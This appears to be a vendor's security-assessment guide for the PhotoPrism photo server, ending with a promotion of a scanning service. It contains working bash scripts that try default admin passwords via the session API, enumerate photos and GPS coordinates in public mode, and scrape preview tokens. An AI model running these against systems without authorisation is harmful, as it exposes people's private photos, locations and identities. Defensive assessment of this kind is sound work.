PhotoPrism is a widely deployed AI-powered self-hosted photo management application used as a privacy-conscious alternative to Google Photos, with face recognition, object detection, and location-based organization built on machine learning. Its security assessment covers several key areas: PhotoPrism ships with default credentials of admin/admin or admin/photoprism documented in the official quick start — these are frequently unchanged in self-hosted deployments; PhotoPrism's Public mode setting (PHOTOPRISM_AUTH_MODE=public) disables all authentication and makes the entire photo library, including GPS location data on the map view, accessible to anyone who reaches the instance; PhotoPrism's REST API uses session-based bearer tokens and app passwords — tokens extracted from local storage or proxy traffic give programmatic access to enumerate, download, and export all photos; PhotoPrism indexes EXIF metadata from every uploaded photo and stores GPS coordinates in its database, which are then visualized on a map view and accessible via the /api/v1/photos endpoint; and the PreviewToken embedded in the PhotoPrism HTML configuration provides authenticated-but-guessable direct URL access to photo thumbnails. This guide covers systematic PhotoPrism security assessment.
# PhotoPrism default credentials: admin/admin or admin/photoprism
PHOTOPRISM_URL="https://photos.example.com"
# Test default credentials via API session endpoint
for PASS in "admin" "photoprism" "password" "changeme"; do
RESPONSE=$(curl -s -X POST "${PHOTOPRISM_URL}/api/v1/session" \
-H "Content-Type: application/json" \
-d "{\"username\":\"admin\",\"password\":\"${PASS}\"}" 2>/dev/null)
TOKEN=$(echo "$RESPONSE" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(d.get('access_token') or d.get('id',''))
" 2>/dev/null)
if [ -n "$TOKEN" ] && [ "$TOKEN" != "null" ]; then
echo "AUTHENTICATED with password: ${PASS}"
echo "Session token: ${TOKEN}"
# Get library statistics
curl -s "${PHOTOPRISM_URL}/api/v1/stats" \
-H "X-Session-ID: ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Photos: {d.get(\"photos\",\"?\")} Videos: {d.get(\"videos\",\"?\")} Countries: {d.get(\"countries\",\"?\")}')
" 2>/dev/null
break
fi
done
# PhotoPrism Public mode: PHOTOPRISM_AUTH_MODE=public disables all authentication
# All photos, GPS map, and API endpoints accessible without credentials
PHOTOPRISM_URL="https://photos.example.com"
# Check if PhotoPrism is running in public (unauthenticated) mode
PUBLIC_PHOTOS=$(curl -s "${PHOTOPRISM_URL}/api/v1/photos?count=10" \
-H "Accept: application/json" 2>/dev/null)
PHOTO_COUNT=$(echo "$PUBLIC_PHOTOS" | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
if isinstance(d,list):
print(len(d))
else:
print('not-array')
except:
print('error')
" 2>/dev/null)
if echo "$PHOTO_COUNT" | grep -qE '^[0-9]+$'; then
echo "PUBLIC MODE ACTIVE — ${PHOTO_COUNT} photos accessible without authentication"
# Extract GPS data from returned photos
echo "$PUBLIC_PHOTOS" | python3 -c "
import json,sys
d=json.load(sys.stdin)
for p in d[:5]:
lat = p.get('Lat',0)
lng = p.get('Lng',0)
if lat != 0 or lng != 0:
print(f\"GPS: {lat},{lng} — {p.get('FileName','?')}\")
" 2>/dev/null
fi
# Check for PreviewToken in page source (allows direct thumbnail URL construction)
curl -s "${PHOTOPRISM_URL}/" 2>/dev/null | \
grep -oE '"previewToken":"[^"]+"' | head -3
| Security Test | Method | Risk |
|---|---|---|
| Default admin/admin or admin/photoprism credentials | POST /api/v1/session with default passwords — session token gives full library access, settings management, and user administration | Critical |
| Public mode — all photos accessible without auth | GET /api/v1/photos without credentials — Public mode returns full library including GPS coordinates and face recognition data | Critical |
| PreviewToken in page source for direct photo URLs | curl homepage and grep for previewToken — token enables constructing direct thumbnail URLs for all indexed photos | High |
| GPS EXIF data accessible via photos API | GET /api/v1/photos?count=500 — Lat/Lng fields in photo objects reveal GPS history for all indexed photos | High |
| Session token in browser local storage | Browser localStorage["photoprism_session"] stores session ID — extraction from shared device or XSS gives persistent API access | High |
| Face recognition person data | GET /api/v1/people with session token — lists all identified persons with face photos and occurrence counts | High |
Ironimo tests PhotoPrism deployments for default admin/admin and admin/photoprism credentials via the session API, Public mode configuration exposing the full photo library including GPS location data without authentication, PreviewToken extraction from page source for unauthenticated thumbnail access, GPS EXIF data enumeration from the photos API revealing complete location history, face recognition person data exposure, and session token security in browser storage configurations.
Start free scan